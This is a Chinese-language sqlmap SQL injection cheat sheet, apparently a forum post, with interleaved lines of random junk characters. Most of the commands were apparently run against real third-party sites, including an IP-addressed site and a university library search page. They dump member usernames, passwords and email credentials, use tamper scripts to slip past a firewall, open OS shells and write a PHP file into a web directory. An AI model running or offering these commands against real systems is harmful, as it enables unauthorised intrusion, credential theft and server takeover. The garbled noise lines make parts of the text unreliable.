sqlmap使用实例

admin

/pentest/database/sqlmap
3 N9 K2 j8 I7 B# Q0 `0 z
: O" j% J- y. B; c3 f  U/ _& Jupdate :::::>     in the folder   after  execute    following   order : svn update
4 I) k. ~* M7 v" d
  e- c. X& w% K* u7 a) Isqlmap.py -r 1.txt --current-db
% G1 H( |. U! Q
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”

$ ]) B  Y  J: h4 F; ~, p6 C==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1))
猜解数据库
, Q( Y3 C0 }/ `9 o  K4 t7 X./sqlmap.py -u "injection-url" --dbs
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
! E5 G. }) x# x: m. }4 a' y) s
+ v5 T( b$ h8 H9 n猜解表名
7 a4 K- Z. e! F3 B./sqlmap.py -u "injection-url" -D database_name --tables

5 A) G& K7 r1 b' M" H: y. b$ h" qsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
# a4 \5 X7 q5 H: J' }3 y1 N' u2 Y
4 `0 }! x2 U2 c; w$ ]( Zsqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
3 s8 p% u% }6 p' n9 ^( u
- Z2 \* f2 I* Vsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
' g( ~$ S- n6 W; m1 O5 |% N' tsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py"
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"

sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
  ?. q1 g6 ^! e5 c) b
sqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
" k2 w# B2 w) s, c
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
& a8 o9 ?: ]! a! {% n猜解列名
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
; a9 W: O5 q9 \: ^5 ~2 q0 U
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"

sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
&submit=Go
猜解值
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
========================================================
搜索表名中包括mana字符的
% I" w5 R; r: O/sqlmap.py -u "injection-url" -T mana --search
4 ^' Y$ x( ^) E, @: u$ i5 x返回一个交互式sql shell
- O, d! p# [- T' A5 B/sqlmap.py -u "injection-url" --sql-shell
9 J6 ^6 o$ O' c8 @读取指定文件（需权限）
7 w$ }3 Y4 a* W& r/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
2 ?8 t& x8 V8 `查看当前 用户 及 数据库
0 B* M4 x2 Q$ i4 _9 J) n% z/sqlmap.py -u "injection-url" --current-user --current-db
本地文件 写入 远程目标绝对路径
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"

sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
+ f, a8 e  S2 s6 r查看某用的权限
4 ^7 y( Q$ f; |) V/sqlmap.py -u "injection-url" --privileges -U root
- ]) w( f( W8 i3 E* R7 B查看当前用户是否为dba
3 A: w! K9 J( I9 t4 P9 d( o/sqlmap.py -u "injection-url" --is-dba
读取所有数据库用户或指定数据库用户的密码
sqlmap.py -r 1.txt --users --passwords
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"

/sqlmap.py -u "injection-url" --passwords -U root

- U/ h- w" C: H) l- a' O--start&&--stop 与 --first&&--last 的区别
$ d, H" X, V/ f8 j7 u1 b5 f4 E/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   （--start=1 --stop=2 会列出第二条记录。。。。记录例如：0 1 2 3 ……）

从字典中查找(属于暴利破解)存在的表（sqlmap/txt/common-tables.txt）或字段（sqlmap/txt/common-columns.txt）
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
1 g% Q8 n! |/ Q( T/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns

执行sql语句，如查询@@datadir得到数据库路径（或者user()/database()等等……）
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
$ t8 i3 c: ?0 T3 @, @1 l) C+ I2 ~) e